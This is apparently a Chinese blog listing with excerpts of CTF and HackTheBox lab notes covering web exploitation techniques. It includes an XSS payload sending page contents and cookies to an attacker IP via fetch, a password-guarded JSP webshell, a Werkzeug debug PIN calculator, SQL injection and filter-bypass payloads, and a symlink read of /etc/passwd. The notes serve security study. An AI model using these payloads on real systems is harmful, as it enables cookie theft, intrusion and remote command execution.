[HTB]第二章

最近终于有空来玩玩HTB啦,时隔半年的HTB笔记也终于又更新了。本篇靶机为Alert和Linkvortex xss回连测试与数据带回 可以用下面这段简单测试xss是否存在bot访问从而进行回连 <script>location="http://ip"</script> 如果存在,就可以用fetch进行外带,达到类似CSRF的效果 <script> var readfile="http://127.0.0.1/index.php";//改一下page就好 fetch(readfile) .then(response => response.text()) .then(data => { fetch("http://ip/?data=" + encodeURIComponent(data)+"&cookie="+document.cookie);//改成你的ip }) .catch(error => fetch("http://ip/?err="+error.message)); </script> apache2默认配置文件路径 /etc/apache2/sites-available/000-default.conf .htpasswd 这是一个和.htaccess类似的apache用户级配置文件,可以配合apache认证功能来模拟一个简单的登录认证。这个文件就是用来存放账号密码的。明文,可以直接查看 linpeas参数 -o参数是个很好用的参数,可以指定输出一些东西,因为linpeas的东西实在太杂了 一般intersting_perms_files是个不错的选择 同时,拿到foothood后观察一下127.1的端口也是个很值得关注的点 groups 这是一条指令,可以查看当前用户和所在组。当然如果环境中没有这个软件,也可以用cat /etc/groups | grep "akaRed",是等效的 Dockerfile 有时候githack下来的dockerfile会说使用了什么配置文件去build,配置文件里可能会有密码之类的 HOST头FUZZ 有时候需要fuzz子域,但是在不知道的情况下又没dns咋办?去fuzz host头就行 ffuf -u "http://ip" -w /usr/.../dns.txt -H "HOST: FUZZ.???.???" -ac 关于ffuf的使用可以看下面一条。这里也顺便记录一个子域字典吧:/usr/share/dnsenum/dns.txt 不得不说kali的自带字典虽然藏得深但是真的全 ffuf wfuzz日常没法用的一天= = 现在我投靠了这个新的fuzz工具,一样kali自带 格式如下,很方便很好记 ffuf -u "http://ip/FUZZ" -w /usr/.../dns.txt -fc/-ac -fc和-ac选一个就行,-fc是过滤你不要的,比如-fc 404。-ac是自动过滤软件自己觉得没用的 软链接绕过名字检查 好像上一篇HTB记录过,但是上一篇是为了让检测软件误认为自己打开的是pdf实则是我们定向的文件,检测软件并没有对定向过后的文件做检查 但这里要介绍的是,如果做了定向后的检查,只要套了两层软连接,就可以绕过一些文件名检查。这里的漏洞就在于软件一般只追踪一层,而不会去看下一层 比如要你只能打开png图片,那么我只要像下面这样包,就检测不到了 ln -s /etc/passwd 2.png ln -s 1.png 2.png 小tips 要注意观察每个文件夹的读写执行权限和所属组 ...

December 17, 2024 · 1 min · Red

[靶场笔记]第二十二章

web.xml相关知识 直接来看看下面这个示例 <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <welcome-file-list> <welcome-file>index.html</welcome-file> </welcome-file-list> <!-- 配置默认servlet来处理静态资源 --> <servlet-mapping> <servlet-name>default</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <servlet> <servlet-name>jsp</servlet-name> <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class> </servlet> <!-- JSP Servlet 映射 --> <servlet-mapping> <servlet-name>jsp</servlet-name> <url-pattern>*.jsp</url-pattern> <url-pattern>*.jspx</url-pattern> <url-pattern>*.xml</url-pattern> </servlet-mapping> </web-app> 第一个<servlet-mapping>里用来处理静态资源,指定根路径是/,没什么好说的。 <servlet>用来定义一个名叫jsp的类似变量一样的东西,然后处理请求的方式交由org.apache.jasper.servlet.JspServlet判断 第二个中,当访问例如诸如.jsp等在<url-pattern>定义的文件路径后,将会交由上述<servlet>中对应的“变量名”(这里就是jsp)进行处理,也就是交由org.apache.jasper.servlet.JspServlet判断 这段web.xml可以被拿来直接使用,如果有路径穿越或文件上传的漏洞可以被用来替换到服务本身的WEB-INF/web.xml,搭配下面的jsp小马即可上线 jsp小马 <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> 请求:http://x.x.x.x/cmd.jsp??pwd=023&i=whoami information_schema.tables绕过 可以用sys.schema_table_statistics_with_buffer来替换,效果是一样的 另外提一嘴题外话,如果发现or或者and等测试句没反应,有可能是服务故意为之,此时就要考虑是不是有关键字或者空格之类的被ban掉了,空格可以用%09等代替 throw new异常抛出绕过(GC绕过) 如果碰到下面这种情况 class FileHandler { ... ... public function __destruct() { if (file_exists($this->fileName) &&!empty($this->fileHandle)) { fclose($this->fileHandle); echo "File closed: {$this->fileName}\n"; } } } ... ... if(isset($_GET['exp'])) { if(preg_match('/<\?php/i',$_GET['exp'])){ exit; } $exp = unserialize($_GET['exp']); throw new Exception("Test!"); } 如果你想利用这里的destruct作为触发点,会因为有一个throw new而无法触发(异常肯定优先于php执行完整个反序化过程)。因此可以参考使用GC回收机制进行绕过,进而强行在throw new之前触发destruct。 ...

November 1, 2024 · 1 min · Red

[靶场笔记]第二十一章

HTTP请求走私 在下面代码中 if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local': return jsonify({ 'message': f'{app.config["FLAG"]}' }), 200 当X-Forwarded-Host属性的值为dev.apacheblaze.local时即可获得flag XFH属性的作用就是查看用户在向反向代理服务器请求时Host携带的域名 但直接修改后并没有效果,如果此时web服务器又恰好是apache,就可以考虑用CVE 2023 25690,详细用法可以参考这里 PHP session临时文件 当php生成session的同时,会在/tmp目录下生成一个带sessionID(也就是cookie里的PHPSESSION)的临时文件。如果此时有文件包含,就可以利用这点进行getshell 例如,获得到的sessionID是114514,那么临时文件路径就是/tmp/sess_114514 字符限制 写题的时候碰到了个6字符限制,也解锁了一种很新奇的rce手法,下面就记录一下这种6字符绕过的手段 >ls #写入一个名为ls的文件 * /*>1 #第一个星号的含义是特定路径下的文件。也就是说如果特定路径下只有上一行写入的那个文件,那么就能把文件名当成命令执行 要注意这里的“特定路径”。因为如果是放index.php的路径就会失败,必须是一个专门写文件的路径。 另外,不止6字符可以绕过,5字符4字符也都能绕:https://blog.csdn.net/q20010619/article/details/109206728 JWT中的RS256碰撞 打网鼎杯碰到的一个神奇的方法,可以用两个不同的jwt_token通过工具rsa_sign2n获得RSA公钥,然后再通过RsactfTools破解出私钥(好像是利用了某个CVE吧….赛后wp出来前还被队友吐槽怎么可能用公钥生成私钥XD 操作案例可以看这篇wp 后缀绕过 如果代码中的后缀检测和文件上传方式是类似下面这样 $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) { return false; } ... ... $target_file=$name move_uploaded_file($file['tmp_name'], $target_file) 就可以通过shell.php/.这样的方式绕过。这是因为在pathinfo中会将这句payload解析成空后缀,从而不会而在move_uploaded_file则会自动将/后的.去掉,从而保存shell.php文件 Smarty模板注入 各种注入方法这里讲解得更丰富一点:https://xz.aliyun.com/t/11108?time__1311=Cq0x2DgD0Q3xlEzIx7KaPiqiKPAIjQDkeveD 我主要记录一些有关smarty模板的小知识 在上面博客里讲到用下面这种方法进行命令执行 如果直接放在一个需要渲染的html里,这里的eval其实是可以省略的。具体可以看下面smarty文档的解释 这里的eval其实和string是差不多意思,只是string会创建一个临时文件再执行这个文件后返回结果(不知道这里会不会有关于string的安全问题,毕竟会写文件),而eval则是直接执行data里给的东西 也就是说当注入环境如下时,你的payload就必须要加上个eval来指明你输入的东西是要马上执行而不需要创建一个文件。 但如果是分开的,比如下面这样 controllers/FileController.php.php ...

October 31, 2024 · 1 min · Red

[靶场笔记]第二十章

$_SERVER[‘QUERY_STRING’] 接收url中?后面面的内容,如果你传index.php?a=1&b=2,此时这个变量就是a=1&b=2 ||替代or 在盲注时可以用 file_get_contents($text,‘r’) 写题的时候看到的….原句如下 file_get_contents($text,'r')==="welcome to the 504sys" 研究后发现这个’r’并没有什么用,直接data:text/plain,welcome to the 504sys秒了 flask_pin 经常在flask题碰到/console路径下的命令执行界面,但不知道怎么利用,刚好碰到一题,记录一下 /console是werzeug带的,需要在flask的debug模式下才有这个页面 需要结合文件读取,将下面带注释的地方贴上从靶机读出来的内容即可 import hashlib from itertools import chain probably_public_bits = [ 'root',# username,读/etc/passwd或/proc/1/environ 'flask.app',# modname,默认 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),绝对路径,在flask报错页面就有 ] private_bits = [ '2485376928819',# str(uuid.getnode()), 读/sys/class/net/ens33(eth0)/address 'c31eea55a29431535ff01de94bdcf5cf51cecdfe211e2cbcc4aceca8644578f88343f0fd029190f1c720bc759b24ef6b'# get_machine_id(), /etc/machine-id加上 /proc/self/cgroup 两个值拼接 ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) 有关flask pin码的生成分析可以看这里,Werkzeug更新带来的Flask debug pin码生成方式改变看这里 ...

September 23, 2024 · 1 min · Red

[靶场笔记]第十九章

call_user_func 在官方文档中有这种用法 <?php namespace Foobar; class Foo { static public function test() { print "Hello world!\n"; } } call_user_func(__NAMESPACE__ .'\Foo::test'); call_user_func(array(__NAMESPACE__ .'\Foo', 'test')); ?> 这个函数可以直接调用类中的静态方法,比如 call_user_func('Foo::test'); update注入 一种比较少见的sql注入 具体用法如下 如果不加where条件就能把整个字段的值都改掉,一般碰到改价格买东西的题目就会用到 如果碰到像上面这张情况可以用大小写同时用的方法绕过(不得不说对SQL注入的过滤用黑名单真的是很傻的办法= =)下面是一个payload示例 1';UPdATE%09items%09SeT%09price=1;# %09是tab,堆叠+大小写混用就能用了 python urllib头注入 一个16年的漏洞,影响版本是python 2.7.16以下和python 3.7.3以下。 以下面这个场景为例 import urllib2 import sys url=sys.argv[1] result=urllib2.urlopen(url) print result.read() 在url被赋值http://127.0.0.1时,服务端会接收到一个正常的http请求包。但如果赋值是http://127.0.0.1/%0d%0a123时,则会被换行插入一个123,如下图 漏洞原理是urllib在解析url时。接受URL编码的值。会包含在HTTP数据流中 因此我们就可以利用这点来实现对内网服务的CSRF,比如在内网的redis,就能通过这点来实现修改账号密码 python命令行参数接收 在看头部注入的wp时学到的,以下面这段代码为例 #1.py import urllib2 import sys url=sys.argv[1] result=urllib2.urlopen(url) print result.read() 在命令行中输入python 1.py http://127.0.0.1/,url的值就会被赋上http://127.0.0.1/ 关于 Content-Type:application/x-www-form-urlencoded 和 Content-Type:multipart/related 这里记录一个链接 https://www.cnblogs.com/taoys/archive/2010/12/30/1922186.html 127.0.0.1和0.0.0.0的区别 直接上结论,127.0.0.1 是一个环回地址。并不表示“本机”。0.0.0.0才是真正表示“本网络中的本机”。 ...

June 30, 2024 · 1 min · Red